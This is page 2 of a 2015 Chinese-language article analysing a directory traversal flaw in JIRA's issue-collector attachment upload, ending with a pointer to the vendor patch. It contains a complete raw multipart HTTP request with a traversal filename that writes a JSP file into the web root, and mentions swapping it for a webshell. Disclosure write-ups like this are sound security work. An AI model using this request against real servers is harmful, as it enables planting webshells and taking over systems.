开源BUG跟踪平台JIRA目录遍历漏洞分析

发表于:2015-5-07 10:41

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:Taskiller    来源:51Testing软件测试网原创

  在第31行,代码将上传的文件移动到一个临时目录中,filename的值没有任何过滤,该值由多个部分组合而成,因此可以通过客户端控制。
  31 tempAttachmentFile = new File(tmpDir, uniqueId + "_" +
  fileName);
  来源:
  13 [...]createTemporaryAttachment(filePart.getName(),
  filePart.getContentType(), filePart.getInputStream());
  漏洞利用
  为了使文件上传到附件目录之外,可以用一个经典的目录遍历模式遍历到公共web目录的根目录(/atlassian-jira/)。在之前示例代码可以看到其并没有对文件内容进行过滤,因此可以上传一个JSP shell来获取系统权限。
POST
/rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host:
hackme.atlassian.net
Cookie:
atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection:
keep-alive
Content-Type:
multipart/form-data;
boundary=---------------------------16266315542468
Content-Length:
345
-----------------------------16266315542468
Content-Disposition:
form-data; name="screenshot";
filename="/../../../atlassian-jira/hello.jsp"
Content-Type:
text/plain
<h1>
Hello
world!</h1>
-----------------------------16266315542468
  请求中的文件名"/../../../atlassian-jira/hello.jsp"会被连结到uniqueid从而代替临时目录路径。
  在Windows系统上:
  C:\Program
  Files\Atlassian\Application
  Data\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp
  在Linux系统上:
  /opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp
  在windows系统上路径会被规范化为"C:\Program
  Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp",之后文件被写入。换句话说,Linux系统会使用整个完整的路径,并会发现目录"/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_"根据不存在,因此无法利用。
  这里可以将上传的文件替换为一个webshell。
  漏洞修补
  如果读者维护着一款Jira实例,应该已经接收到更新提示了,如果没有,请参考文章开头提到的公告。
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号